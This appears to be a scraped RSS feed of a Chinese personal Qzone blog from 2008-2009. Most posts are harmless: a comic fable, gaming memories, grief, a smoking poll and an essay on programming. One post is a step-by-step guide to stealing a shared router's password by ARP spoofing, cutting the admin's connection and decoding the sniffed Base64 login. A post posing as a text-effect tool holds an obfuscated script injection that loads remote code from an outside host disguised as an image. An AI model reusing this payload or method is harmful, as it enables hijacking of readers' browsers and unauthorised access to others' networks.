http://14019832.qzone.qq.com Sat, 28 Nov 2009 01:41:08 GMT Qzone zh-cn Copyright (C), 2005-2008, Tencent Tech. Co., Ltd. Mon, 02 Nov 2009 02:56:43 GMT http://14019832.qzone.qq.com/blog/1257130603 二狗者，獒也。于野敌百狼，入林战猛虎，未尝败绩。
其外温顺，世人不明，误视为贵宾、吉娃娃、京巴之流，熟不知其疾如风，徐如林，侵略如火，不动如山, 难知如阴，动如雷霆。某日，倭岛大名信玄者见之，大叹高呼，真乃神犬也！遂得其真传，独创风林火山纵横于战国各大名间不可一世。
天界哮天闻之，不服，欲与二狗试比高，激战三天，飞沙走石，日月无光，终不敌，被击伤于雪峰山，其血流汇为江河，曰湘也。
其生四子，曰草泥马、菊花蚕、雅蠛蝶、法克鱿，被后世称为四大神兽。而长子草泥马更得其传，横行于马勒隔壁，称霸一方傲视群雄，凡人见之无不顶礼膜拜。已而四大神兽名声鹊起，渐有功高盖其父之势，然二狗视名于土，见利如粪，曰，均吾子矣，何争？
时过境迁，二狗隐于市，后人知之甚少矣，悲乎？叹呼！ ]]> http://14019832.qzone.qq.com/blog/1257130603#comment 134218240 Mon, 02 Nov 2009 02:56:43 GMT http://14019832.qzone.qq.com/blog/1257130603 http://14019832.qzone.qq.com/blog/1250826577 前言（可以跳过不看）

在珠海这边实习，沦落到东岸村内，为了上网没住公司提供的宿舍自己租了房子，但是每当晚上下班回来打开VS准备Dota的时候，总是发现房间的ping都是800ms加，很是郁闷，开始找房东要了路由密码把几个p2p端口给封了，后来发现不管用就下了一个p2pove，又发现有几个人装了ARP防火墙也不管用只好下狠招封mac。
但是好景不长由于上个星期电信问题连续几天断线，房东说是我控制网络害大家上不了网把路由密码改了，又过几天还是连续上不了网了，当时没有路由密码，根本不知道发生了什么，房东叫了电信的人来发现路由坏了。。换了一个。
现在没有了路由密码晚上很无奈，只能上上qq，有时网页都开不了。忍了几天发现忍不住了终于怒了！TMD一定要把路由密码搞到手掌握主动权！
必要条件

好了废话说了这么多，转入正题。要拿到路由密码一定要满足以下几个条件，否则一切都是空谈，除了暴力破解（穷举密码，费时费电）外没其他方法了。
条件一：管理员登路由的时候你机器必须开启（好像是废话）
条件二：管理员登陆用的电脑必须没有ARP防火墙，或者管理员和你电脑是通过hub接的路由
条件三：若通过hub相连的话，要能让管理员登一次路由，若对方没有ARP防火墙你可以直接断他公网，他自然会去上路由了（nameless就是这样干的，很邪恶吧）
条件四：自己有一定的网络知识，有一定数学基础，起码能看懂我下面说的是什么
条件五：路由没有绑定ip和mac地址

必要软件
p2poveretherpeek或sniffer pro或其他抓包工具
这两个软件网上都有下

前期准备
首先你要知道登陆密码时的数据包是怎样的，而且登陆密码肯定不会是以明文形式存在于包内，因此我们首先是要研究下这个登陆时的数据包。方法很简单，用上面提到的etherpeek或其他抓包软件来实现。
下面我用etherpeek来举例说明：
打开ehterpeek的界面如图所示：


由于网络在连通的时候会有大量的数据包，每秒几百上千都很正常，所以我们先要建立一个过滤器来过滤掉对我们没有用的数据包，点击[view]-[filters]


然后点那个绿色的加号来添加过滤器


Filter:过滤器名字
Comment:过滤器描述
把Address filter钩上，选择address1填上网关路由地址，一般为192.168.1.1，由于nameless建立了ip table所以这里显示的是gateway，在address2选any address，中间的type选择both directions
这个过滤器的意思就是说 只看网关ip地址发出和接受的包。


建立完filter后，我们开始抓包了，点击[Capture]->[start capture]

这时候我们发现需要配置一些东西，首先选择第二个adapter选择我们的网卡


然后点击filters选择我们刚刚建立的过滤器，名字就是刚刚你在filter处填写的名字。


配置完后正式开始抓包了，点击start capture后（没点是不会有包的）打开IE，输入192.168.1.1，这时候会提示让你输入密码了，暂时先不要输入，回头看看我们抓到的包


可以看到抓了不少包，其中前面几个都是TCP协议三次握手（这里就不解释了，想知道的话可以baidu一下），这时候路由的帐号和密码还是没有传过去的，我们再回到IE上

连续输入三次密码后，会出现路由拒绝你访问的页面，记住你输入的密码和用户名（对下面很重要），现在回头再看etherpeek抓的包。


我们看到又多了很多包，这些包里自然就会有你传给路由的密码和帐号了，只不过他们不是以明文的方式存在于包内，但是依旧很好找的，因为我们仅仅登陆了三次就被路由给拒绝了，没有其他任何无关的包。

在那几个包中寻找，size为64的包可以不用看直接排除，因为那些是不可能放下你密码的，找那些200-300的包看，而且source是你的ip，dest是路由的ip。经过查找我们发现有3个比较大的包，打开看http部分。


我们可以发现只有最后一部分乱七八糟的东西（红色框部分），实际上这就是加密的用户名和密码。

通过分析你输入的明文（这就是为什么一定要记住你三次输的是什么）和抓获的密文，来推算加密的方式。
大多加密都是以Base64加密的，起码tp-link的路由都是，至于Base64是什么我也不详细说了，大家baidu吧。
知道了加密算法后我们可以开始潜伏等待猎物了。
潜伏

现在就等待网管登陆路由，或者也可以逼网关登陆路由，nameless在这里就是选择的后者。
首先要告诉大家，etherpeek之类的抓包工具只能抓获自己网卡的包，或者是广播的包，也就是说如果局域网互联的是直接用的路由或者交换机你是抓不到人家发送的包的，但是如果是hub的话就一点问题都没有了。
那么如果是路由或者交换机直接连就没办法了吗？当然不是，我们的第二个软件p2pover隆重登场了。
p2pover的原理是利用ARP欺骗，简单的说就是像网关说我是某台机器A，像某台机器A说我是网关，那么网关本来要发向A的包就会发到你这里，如果符合条件p2pover就会转给A，而A发给网关的包同样也会经过我们的网卡。通过这样的方法来控制网络（实际上很无耻，跟病毒没什么区别，但是合理的用还是能有利网络的）。但是如果对方机器有ARP防火墙这一切就没意义了，对方防火墙直接绑定了网关mac地址（物理地址），包是不会发到你这里的，所以也抓不到包。但是是否可以将自己的mac改成网关nameless也不清楚，需要以后试验一下，如果真是对方有ARP防火墙可以使用暴力破解，也就是用程序对路由不断发登陆验证的http包，套取密码。（耗时耗电..不推荐）
好了如果对方没有ARP防火墙，我们打开p2pover，对网管的机器控制，这样网管的数据包就会经过我们这里了，然后我们就是静静等待网管登陆路由了。
我直接断开网管的外网。


他上不了网了自然会看路由是怎么回事，果然断开几分钟后网管登陆了路由，我通过接受的数据包一个个找终于找到了登陆的密文。这时候我们再通过加密的算法对密文进行解密，得到原文。终于大功告成了。
nameless破解密文的时候是自己写的一个小程序，如果有朋友发现路由也是用Base64加密的可以问我要这个程序进行解密。或者把密文告诉我，我把原文告诉你。

结语

获取网关密码后我们可以干很多事情，比如封掉那些屡教不改天天BT的人的MAC或者IP让他们上不了网。但是希望大家不要自私的把所有人都封了只留下自己独占网络，这样做比那些BT的人更无耻了。
nameless更希望大家用不到这个就能和谐解决问题。
]]> http://14019832.qzone.qq.com/blog/1250826577#comment 134218241 Fri, 21 Aug 2009 03:49:37 GMT http://14019832.qzone.qq.com/blog/1250826577 http://14019832.qzone.qq.com/blog/1246964702 不知道你为什么会这样，可能我又知道，但是什么都不说了。
我们有多少个夜晚一起在网上打着游戏度过，我已经数不清了，你算是我最好的朋友之一了，不管从前现在或今后你都是，只希望你快点好起来。 ]]> http://14019832.qzone.qq.com/blog/1246964702#comment 134218240 Tue, 07 Jul 2009 11:05:02 GMT http://14019832.qzone.qq.com/blog/1246964702 http://14019832.qzone.qq.com/blog/1245643919 寝室WOW回忆录

几个月前由于美剧真空期太过无聊而写过一篇关于传奇的日志，回想起那个“很垃圾但是证明盛大是个好公司”的热血游戏，我们这帮人难免要沸腾一下。
现在，真空期的到来加上某天一个绚美而强大的狼德（野性德）梦境，让我开始对WOW这个最伟大最恢宏的网游向往起来。

世事难料，在寝室的兄弟们那里得知WOW已停服，估计行鸡为此还难过了一回吧，哈哈。

WOW风靡当年，寝室除了我和班鸡外，其他5人都被“毒害”，各自用人物书写了一段的独一无二的历史：

成为他的宠物是的你荣幸？
精明而敦实的矮人猎人Evilblood总是把自己的一切调整在非常高水平的状态，并在很长一段时间内声称除了术士--应该不包括紫寒吧，哈哈--任何职业都打不过他。还有，社团的仓库也被他每天的一番仔细计算之下打点得妥妥当当。但估计这个路线不适合我。

双兔傍地走，安能辨我是雄雌？
她，是美丽的人类女法师；她，是一个活跃分子，不了解她的男性玩家不免对这位PK豪迈的美女动心；她，就是人人口中称道的月影姐姐。殊不知PK牛B的女玩家只是凤毛麟角，在屏幕外控制着微蓝月影的其实是一位很骚的男人。常言道，在网上，谁也不知道你是一只狗，或者是一只鸡----行鸡。（当然名气最大的RY还不是月影JJ，而是那个人称“纤纤姐”的男人。）

秀发去无踪,头屑更出众~
逍遥的人类圣骑士--“丝丝”海飞丝。
“无敌，上！”团长的一声令下，海飞丝开着无敌朝BOSS冲了上去，那位正准备进攻的名叫无敌的战士脑袋滴着汗。
That's 钊鸡，喜欢搞笑的buddy，虽然那次他不是故意的。钊鸡总结道：娱乐一下就好，不要有太多的追求，不然就会很累。

FouLaZouEn（弗拉祖恩）~
极度闷骚的侏儒术士紫寒和暗夜精灵德鲁伊若水无香。
小鸡刚总是伸直着一条腿斜坐在那里对着屏幕傻笑，玩WOW几乎不和寝室的人一起作战，也很少PK，原因是什么，想必大家都很清楚。小鸡刚也是最着迷于人物动作的一位仁兄，紫寒搓暗影剑的POSE让他爱不释眼，若水无香那天旋地转的走位也成为他“PK技术好”的体现。

I believe I can fly~
最后就是最最经典的暗夜精灵德鲁伊浪吟恋水了。鸭哥做什么都独树一帜，连名字都起得这么有话题，真是人如其名，又lang又yin，技术也很水，给队友加血也能掉崖摔死，让我没办法不提这件事。可能在那一瞬间，he believed he could fly~

一直以来，我都认为游戏里表现成什么样游戏外的人就是什么样。是否踏入WOW的世界，重新表现一回呢？

]]> http://14019832.qzone.qq.com/blog/1245643919#comment 134218248 Mon, 22 Jun 2009 04:11:59 GMT http://14019832.qzone.qq.com/blog/1245643919 http://14019832.qzone.qq.com/blog/1237022335

渐变字转换小工具，请输入转换文字(长篇请勾选按行渐变)。直接粘贴(ctrl+V)即可获得转换后代码

注意qq空间发要选QZone[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash] ]]> http://14019832.qzone.qq.com/blog/1237022335#comment 134222336 Sat, 14 Mar 2009 09:18:55 GMT http://14019832.qzone.qq.com/blog/1237022335 http://14019832.qzone.qq.com/blog/1232032757
今天终于考完最后一门，于是乎和两个同学一起出去吃了顿饭，味道很不错，一路上拍了几张照片，其中有学校门口的冰雕，也有去年下半年6警察打死1学生的案发地点（路过的），案发地点的边上其实就是省公安局...
上图了，第一张是冰雕，第二张是学校主楼，也就是冰雕的原型。

主楼

案发地点


回到寝室，有同学已经收拾行李走人了，我还要等到20号才能飞回长沙，虽说刚回去了一趟，其实现在已经归心似箭了。回家只有短短的两周就要去北京搞TMD实训了，档期安排的很紧，各位fans们要预约请趁早啊。


]]> http://14019832.qzone.qq.com/blog/1232032757#comment 134218241 Thu, 15 Jan 2009 15:19:17 GMT http://14019832.qzone.qq.com/blog/1232032757 http://14019832.qzone.qq.com/blog/1230185659 您信了大半辈子耶稣，他却让死神在平安夜把您带走，难道他就是这么显灵的？
我会努力学习的，就算您到了那个世界，我也会让您骄傲的对别人说这是您孙子。

ps:感谢昨天安慰我关心我帮助我的朋友们 谢谢你们 ]]> http://14019832.qzone.qq.com/blog/1230185659#comment 134218240 Thu, 25 Dec 2008 06:14:19 GMT http://14019832.qzone.qq.com/blog/1230185659 http://14019832.qzone.qq.com/blog/1229684602 如果我说我戒烟你信吗？
周恒钊 18:54:20
不信
周恒钊 18:54:29
你是今天戒的吧
周恒钊 18:54:40
还是刚刚戒的咯

nameless 18:54:23
如果我说我戒烟你信吗？
党员 18:55:03
呃，信60%

nameless 18:54:40
如果我说我戒烟你信吗？
门神 18:54:48
不

nameless 18:56:50
如果我说我戒烟你信吗？
门神嫂 18:57:01
不

nameless 18:56:34
如果我说我戒烟你信吗？
￡ 哆啦Am 18:56:43
信。

nameless 18:57:49
如果我说我戒烟你信吗？
SevenTeen、 18:58:06
不信

nameless 18:58:08
如果我说我戒烟你信吗？
右眼☆听不见 18:58:31
。。。。。。。。。。。。
右眼☆听不见 18:58:41
受刺激啦？？

nameless 18:57:53
如果我说我戒烟你信吗？
｀舞音破曉 18:59:37
-。-
｀舞音破曉 18:59:40
你抽烟？

nameless 18:59:44
如果我说我戒烟你信吗？
ぉ┼→恒ァ 19:00:02
O(∩_∩)O哈哈~
受什么刺激了？

nameless 19:01:54
如果我说我戒烟你信吗？
andylee 19:01:56
您好，我现在有事不在，一会儿再和您联系

==============================================

调查10人....只有1人信，1人不在，1人不知道我抽烟，2人问我受什么刺激了....
难道我就不能没事戒烟玩玩？？
]]> http://14019832.qzone.qq.com/blog/1229684602#comment 134218240 Fri, 19 Dec 2008 11:03:22 GMT http://14019832.qzone.qq.com/blog/1229684602 http://14019832.qzone.qq.com/blog/1228314985 ]]> http://14019832.qzone.qq.com/blog/1228314985#comment 134222336 Wed, 03 Dec 2008 14:36:25 GMT http://14019832.qzone.qq.com/blog/1228314985 http://14019832.qzone.qq.com/blog/1228153177 思想

在讨论Java和C时常常听到这样的声音，“Java支持面向对象，而C不支持”，的确在C中没有class这个东西，难道能用struct来定义一个类？一个类拥有“属性”和“操作”，“属性”很好表示，而“操作”却找不到对应的东西，更不用说复杂的继承、多态、公有私有了。
实际上在最初我也是这样觉得的，直到有一天修改Linux下的文件管理器Nautilus的Bug时，读了一些GNOME的源码后，这种观念改变了，操作的定义用的函数指针实现，继承、多态通过宏定义实现、公有私有以头文件的方法实现。可见对于一种编程思想任何编程语言都能实现，可能有的方便有的麻烦而已，所以再也不要说C不支持面向对象了。还有可能面向对象的C++就是因为程序员们越来越多的在程序中使用面向对象的思想，而在古老的C中使用太麻烦，于是就出现了C++吧，这仅仅是我个人的猜测罢了。
对于我来说用过的编程语言将近10种了，有朋友问我，学会某某语言要多久？我只能告诉他几个月就够了，甚至只要几个星期，但几个星期后，几个月后，他看到程序依旧无从动手。这其实是编程思想的欠缺，何谓编程思想，其实我也不能说清楚，或者按照计算机的方式去思考就是编程思想吧。而编程思想的成熟需要大量的时间和实践积累，当形成了编程思想后，如果没有那些庞大而杂乱的各种库，语言本身根本不成为障碍，从一种语言转另一种将是轻松的事情。
接下来，对于各种各样的库，实际本质上都是相似的，只要对一个库了解透彻，那么他同类型的库也能很快类比出来。比如Micro$oft的MFC和Linux下两个最常用的GUI库GTK+和Qt，MFC和GTK+都有着相似的消息机制，有着各自封装好的控件，都是做GUI，控件除了样子有些区别外，其他几乎一样。当然也会存在区别，但如果都是干一件事情，区别再大也大不到哪去。
可见对于编程的语言其实是一通百通的，而通则首先要通你的编程思想。

科学？艺术？

程序设计究竟是科学还是艺术？其实这个问题根本就没有定论，再我看来程序设计是一种艺术，因为程序也有自己的美，不同人眼中的美丽不同，既然存在主观的审美，那它自然就不能叫做科学。
程序之美有很多种，运行结果的美丽，有结构的美丽，也有算法的美丽。或许这对应着不同的水平，曾经在用过带行号的Basic，对于带行号的程序来说不存在有缩进的排版，只能逐行的仔细看，后来直到高中，有一天老师告诉我要缩进，开始觉得费事，但习惯以后发现缩进后的程序我能一目十行了。运行结果也会很美丽，有很多著名的图，比如用递归画出来的那棵树，本科时图形学设计自己也用递归画了一个，只不过我画的是雪花罢了，随着递归次数的增加，雪花变得越来越华丽。算法，对于很多初学者最头疼的问题，其实算法说到底就是解决问题的数学模型，随着数学水平的提高对同一个问题你会有不同的方法。记得第一次做著名的八皇后问题，我用的就是穷举法，加了限定条件的七重循环，算出来那92组解，当时小学五年级，根本无法想到更复杂的东西。经历过信息学竞赛，也达到过一定水平，可惜到省队的大门口就没有努力往里面迈了，或许是信息学竞赛的关系，让我对算法有比其他人更深的感情。那时候计算机的处理能力和现在是无法相比的，10^8的运算次数要十多分钟的时候，要求解问题你只能费尽心思想如何优化，如何用最少的时间来求解。当看到别人的程序就是能比你更快时，一边会赞叹他算法之美，一边会很不服气的想着如何修改自己的。更高，更快，更强，用在IOI中一样恰当，毕竟都是奥林匹克啊。
但是现在的程序都是团队协作完成的，而且更多的时候写程序是为了生活而不是兴趣，毕竟我们不是Knuth，我们不可能因为写这篇文章写得不舒服就自己也弄个LaTeX出来。所以在偷工不减料的前提下，就有了软件工程。如何用最少的时间让程序员最高效的工作。
程序越来越庞大，计算机也不再仅仅用于计算，程序的功能也越来越复杂，因此软件工程的被越来越多的被提到，在我看来程序设计和软件工程不能混为一谈，就像艺术家画出来的画和打印出来的图片一样。前者是创造性的工作，而后者则仅仅是将成熟的东西工程化，产业化。对于很多的程序员来说，他们究竟是在程序设计？还是进行一些机械化的组装？无可否认，软件工程中也有艺术，一个优秀的结构一样可以让人赏心悦目，但这里就不讨论了。
]]> http://14019832.qzone.qq.com/blog/1228153177#comment 134218240 Mon, 01 Dec 2008 17:39:37 GMT http://14019832.qzone.qq.com/blog/1228153177